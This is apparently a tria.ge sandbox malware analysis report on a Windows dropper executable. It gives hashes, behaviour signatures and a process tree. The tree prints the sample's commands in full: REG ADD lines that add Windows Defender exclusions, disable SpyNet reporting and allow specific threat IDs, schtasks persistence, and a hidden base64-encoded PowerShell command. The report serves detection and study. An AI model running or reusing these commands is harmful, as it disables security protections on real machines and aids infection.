Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    91s
  • max time network
    105s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/02/2023, 10:56

General

  • Target

    627f94066e4429d51827ea329dfc3a2185bf42a2617cbca68e89e3ee4029c48c.exe

  • Size

    7.3MB

  • MD5

    e9df6a41ca4941817e0da65dd35d6508

  • SHA1

    d1efb6b9745f5fcf6f34a0e4f7d148133a4289eb

  • SHA256

    627f94066e4429d51827ea329dfc3a2185bf42a2617cbca68e89e3ee4029c48c

  • SHA512

    7b850ea47e68386168db3d64e094347ebb87717d690a395352084cf8dd334449f382dff75eba04770e112ec85f742204d4ac592a1513327c5588c10f28490f54

  • SSDEEP

    196608:91OTdISgFWHU76tSdBQ2EfgFLfCceIqTMf:3OTGy0WS/QloFLbe+

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\627f94066e4429d51827ea329dfc3a2185bf42a2617cbca68e89e3ee4029c48c.exe
    "C:\Users\Admin\AppData\Local\Temp\627f94066e4429d51827ea329dfc3a2185bf42a2617cbca68e89e3ee4029c48c.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4572
    • C:\Users\Admin\AppData\Local\Temp\7zS78FD.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3804
      • C:\Users\Admin\AppData\Local\Temp\7zS7EF9.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:1532
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:920
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4876
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:5024
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:2220
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1932
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4860
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:4868
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:5052
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gzyKvbkdY" /SC once /ST 08:11:29 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:2892
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gzyKvbkdY"
                  4⤵
                    PID:3748
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gzyKvbkdY"
                    4⤵
                      PID:5064
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bsajrHInQFlcwYICLj" /SC once /ST 11:57:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\LnqiWCjpVUdcMEyBC\nuKOVfXXHsnqFlD\jJeKaBi.exe\" yn /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:1840
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2120
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:2116
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:220
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:216
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:752
                      • C:\Users\Admin\AppData\Local\Temp\LnqiWCjpVUdcMEyBC\nuKOVfXXHsnqFlD\jJeKaBi.exe
                        C:\Users\Admin\AppData\Local\Temp\LnqiWCjpVUdcMEyBC\nuKOVfXXHsnqFlD\jJeKaBi.exe yn /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:1336
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:4780
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2240
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:2144
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:2012
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:2168
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:4180
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:1892
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:2976
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:1684
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:1736
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:3488
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:4992
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:5036
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:2620
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:976
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:3112
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:1772
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:4352
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:5052
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4876
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:4816
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:4548
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:4980
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:920
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:3088
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:3860
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JuPVqtTuU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JuPVqtTuU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NCzfTsUHwfUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NCzfTsUHwfUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\phVJOPZyZJOU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\phVJOPZyZJOU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\sZsEQTjkuyBBMtXryyR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\sZsEQTjkuyBBMtXryyR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wRZxVByAcqfAC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wRZxVByAcqfAC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hRSVwMivPDBwjMVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hRSVwMivPDBwjMVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\LnqiWCjpVUdcMEyBC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\LnqiWCjpVUdcMEyBC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dDIGKoNsMZUYTlNI\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dDIGKoNsMZUYTlNI\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:4388
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JuPVqtTuU" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:4328
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JuPVqtTuU" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:752
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JuPVqtTuU" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:4372
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NCzfTsUHwfUn" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:704
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NCzfTsUHwfUn" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:2608
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\phVJOPZyZJOU2" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:1468
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\phVJOPZyZJOU2" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:3776
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\sZsEQTjkuyBBMtXryyR" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:2060
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\sZsEQTjkuyBBMtXryyR" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:3796
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRZxVByAcqfAC" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:4216
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRZxVByAcqfAC" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4208
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hRSVwMivPDBwjMVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:1512
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hRSVwMivPDBwjMVB /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:4944
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\LnqiWCjpVUdcMEyBC /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:4436
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\LnqiWCjpVUdcMEyBC /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:4204
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\dDIGKoNsMZUYTlNI /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:4196
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\dDIGKoNsMZUYTlNI /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:1428
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
